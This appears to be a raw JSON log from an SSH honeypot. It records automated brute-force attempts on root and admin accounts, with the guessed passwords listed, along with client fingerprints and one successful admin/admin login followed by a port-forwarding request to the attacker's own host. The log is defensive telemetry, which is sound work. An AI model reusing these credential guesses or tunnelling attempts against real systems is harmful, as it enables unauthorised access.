AAAAB3NzaC1yc2EAAAADAQABAAACAQCx49r0zXIZhflG84nfasPB08Ae7rDEp6c2n4iG3bKRHvtturvVN53EacIfuvt/wYt5yWGXQbzwcdC4cNKlSwRP/l7zdOmLmArur9zlx4vr7qGtpvOJqJHDlcNkkbnOamVILtgEe9g/x2e+pGRqHNNE8VRbWKOoBxUudd0y3lsipR/QIUEP/D4vcvVpWB3/JLBHjmlnQhwc/106A6a21/tUXfV3i8xr0p8dax+GGA86X23+ZTOXdKUEqej3Sl0QywLXt+ugnCZPlcQ7O2FdG1KMiotDmfgbGtqWnC28DraO8V+nibL0gLM3Tu+IV+G0dYJUJ1+cIhKIsr5EVAVA3aqm6n9LeDNIwHOrCCyMP3YEywQpOFK1Vy8fTyoN2e5gVkaSuNFg0k9v6QmfadPU29HRnNBDrPcLj9/H5fcE4GXJPAy8SYE/J5kTyMXCn2pGmXf/KhJPRtfg0ZFOXw/7HDbnedt1RxaiJqpEtdNatt2RhBbk3PNvSMb/QOCzicGRSXiRhkgGOUhlMyTnlxOwJ8NWvzYX/3oArpRb7utdHKI2DZBKL7+R2gajZCrwF9Cq6xEYwcG7u7XHgHHmuPwhR2H4eOoJcgFnnOeY9uirW8VfF/75tenBzuG52IleqrYmP2HZXi1J4Vwy2xLm/kSFjdiRq1Q1r6u9wmp8m7CuEkjPMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:34.601760Z","src_ip":"78.111.67.246","session":"32c9ef2ecfb6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:98:d6:8a:d1:bf:97:0a:69:66:23:7f:7d:c2:30:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDh/4L7GpS/OjjXkILSw801RQTTYku1hDk8/qmUdLXvRRkIAQFZYq/oSKrKdz0oPOJ/e/VUHYuOzzUAW9AwYUST4f4IhEcRI+/crnZqBM1wCUmsXZk2ze5agksBoEHdz54NUZ78evWHQTyhLPBvStouMLPTaIx2pet6c4abl5XT4j08PfiRMa5XG3iB7r/yhIddn8JWwX5gsGsPe2pbqMckRCmRj0e/lWcGgwBh5Bw0mV0RJuAuUsS4CMoWN6hThKUQpbi8nDFQOO7Lho0RZ/jJovNcr7Xrp7SANCKkt/M/0H/sq1tnBb4t6HMEfAPibEFn7GPiDHz1HHzDV7V/fl47mjNKxo0jv2WvfwQOV6YKT8kzqXVU1UX7sBO33adkgEHmRwMdUqC5wZqTdcQTaPRfjp+Gw+uwAWDO0MNHGG0+Ohdro5qEy8L8OPyREaIfXuAOpnLe2XQY7VbJC+pBROmXPSihjEGn3mReSEoGYrExL7nrcJEKjDeIRuH4i8EoGBab69onxCMFu7F38Jt7w0RL8k/NKSfm27OP4Rm7jWUCCFFhXeep6jl4n3De4e+qsJrt8+tXqged74U7gF5gkejdsi97L+TP9x/H/LfqrUyUZKtw1uQy8zeRNIaD3YvAk4kitHOmvAf9GJX6+vEflizv3x9HVBtj17XqTpusFP5QbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:98:d6:8a:d1:bf:97:0a:69:66:23:7f:7d:c2:30:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:34.701637Z","src_ip":"78.111.67.246","session":"32c9ef2ecfb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:98:d6:8a:d1:bf:97:0a:69:66:23:7f:7d:c2:30:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDh/4L7GpS/OjjXkILSw801RQTTYku1hDk8/qmUdLXvRRkIAQFZYq/oSKrKdz0oPOJ/e/VUHYuOzzUAW9AwYUST4f4IhEcRI+/crnZqBM1wCUmsXZk2ze5agksBoEHdz54NUZ78evWHQTyhLPBvStouMLPTaIx2pet6c4abl5XT4j08PfiRMa5XG3iB7r/yhIddn8JWwX5gsGsPe2pbqMckRCmRj0e/lWcGgwBh5Bw0mV0RJuAuUsS4CMoWN6hThKUQpbi8nDFQOO7Lho0RZ/jJovNcr7Xrp7SANCKkt/M/0H/sq1tnBb4t6HMEfAPibEFn7GPiDHz1HHzDV7V/fl47mjNKxo0jv2WvfwQOV6YKT8kzqXVU1UX7sBO33adkgEHmRwMdUqC5wZqTdcQTaPRfjp+Gw+uwAWDO0MNHGG0+Ohdro5qEy8L8OPyREaIfXuAOpnLe2XQY7VbJC+pBROmXPSihjEGn3mReSEoGYrExL7nrcJEKjDeIRuH4i8EoGBab69onxCMFu7F38Jt7w0RL8k/NKSfm27OP4Rm7jWUCCFFhXeep6jl4n3De4e+qsJrt8+tXqged74U7gF5gkejdsi97L+TP9x/H/LfqrUyUZKtw1uQy8zeRNIaD3YvAk4kitHOmvAf9GJX6+vEflizv3x9HVBtj17XqTpusFP5QbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:34.705642Z","src_ip":"78.111.67.246","session":"32c9ef2ecfb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:34.810008Z","src_ip":"78.111.67.246","session":"32c9ef2ecfb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:34.968606Z","src_ip":"60.165.124.241","session":"b1154308afa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34688,"dst_ip":"10.17.0.5","dst_port":22,"session":"746489be2fc5","protocol":"ssh","message":"New connection: 60.165.124.241:34688 (10.17.0.5:22) [session: 746489be2fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:35.205089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:35.210693Z","src_ip":"60.165.124.241","session":"746489be2fc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:35.453415Z","src_ip":"60.165.124.241","session":"746489be2fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Li123456.","message":"login attempt [root/Li123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:36.177054Z","src_ip":"60.165.124.241","session":"746489be2fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:37.419799Z","src_ip":"60.165.124.241","session":"746489be2fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37782,"dst_ip":"10.17.0.5","dst_port":22,"session":"63a4bab49b69","protocol":"ssh","message":"New connection: 60.165.124.241:37782 (10.17.0.5:22) [session: 63a4bab49b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:37.651095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:37.655774Z","src_ip":"60.165.124.241","session":"63a4bab49b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:37.895665Z","src_ip":"60.165.124.241","session":"63a4bab49b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ashok123","message":"login attempt [root/ashok123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:38.628361Z","src_ip":"60.165.124.241","session":"63a4bab49b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:39.869251Z","src_ip":"60.165.124.241","session":"63a4bab49b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40636,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3aab78725de","protocol":"ssh","message":"New connection: 60.165.124.241:40636 (10.17.0.5:22) [session: a3aab78725de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:40.106862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:40.111892Z","src_ip":"60.165.124.241","session":"a3aab78725de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:40.351511Z","src_ip":"60.165.124.241","session":"a3aab78725de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhangzhen","message":"login attempt [root/zhangzhen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:41.073669Z","src_ip":"60.165.124.241","session":"a3aab78725de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:42.333943Z","src_ip":"60.165.124.241","session":"a3aab78725de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43628,"dst_ip":"10.17.0.5","dst_port":22,"session":"ada761e9cd18","protocol":"ssh","message":"New connection: 60.165.124.241:43628 (10.17.0.5:22) [session: ada761e9cd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:42.566831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:42.571513Z","src_ip":"60.165.124.241","session":"ada761e9cd18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:42.812314Z","src_ip":"60.165.124.241","session":"ada761e9cd18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234Qwer","message":"login attempt [root/1234Qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:43.532911Z","src_ip":"60.165.124.241","session":"ada761e9cd18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.39","src_port":56852,"dst_ip":"10.17.0.5","dst_port":22,"session":"11060c30ca7d","protocol":"ssh","message":"New connection: 31.57.216.39:56852 (10.17.0.5:22) [session: 11060c30ca7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:43.753715Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:43.759049Z","src_ip":"31.57.216.39","session":"11060c30ca7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.39","src_port":56864,"dst_ip":"10.17.0.5","dst_port":22,"session":"66df58507f5e","protocol":"ssh","message":"New connection: 31.57.216.39:56864 (10.17.0.5:22) [session: 66df58507f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:43.880400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:43.885569Z","src_ip":"31.57.216.39","session":"66df58507f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:43.989737Z","src_ip":"31.57.216.39","session":"66df58507f5e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:44.346983Z","src_ip":"31.57.216.39","session":"66df58507f5e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"31.57.216.39","dst_port":80,"src_ip":"31.57.216.39","src_port":5555,"message":"direct-tcp connection request to 31.57.216.39:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:44.483630Z","session":"66df58507f5e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"31.57.216.39","dst_port":80,"data":"b'sYIlApLypjVRCXEXwu3mNdGii8LK2Mib2TN1W3OKRe1jpMWjW7'","id":0,"message":"discarded direct-tcp forward request 0 to 31.57.216.39:80 with data b'sYIlApLypjVRCXEXwu3mNdGii8LK2Mib2TN1W3OKRe1jpMWjW7'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:44.588950Z","src_ip":"31.57.216.39","session":"66df58507f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:44.707791Z","src_ip":"31.57.216.39","session":"66df58507f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:44.777350Z","src_ip":"60.165.124.241","session":"ada761e9cd18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46786,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff1b79c60127","protocol":"ssh","message":"New connection: 60.165.124.241:46786 (10.17.0.5:22) [session: ff1b79c60127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:45.010050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:45.015418Z","src_ip":"60.165.124.241","session":"ff1b79c60127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:45.255756Z","src_ip":"60.165.124.241","session":"ff1b79c60127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"demon","message":"login attempt [root/demon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:45.977434Z","src_ip":"60.165.124.241","session":"ff1b79c60127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:47.219978Z","src_ip":"60.165.124.241","session":"ff1b79c60127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49736,"dst_ip":"10.17.0.5","dst_port":22,"session":"7eb8d9864cbb","protocol":"ssh","message":"New connection: 60.165.124.241:49736 (10.17.0.5:22) [session: 7eb8d9864cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:47.467551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:47.471915Z","src_ip":"60.165.124.241","session":"7eb8d9864cbb","protocol":"ssh"}
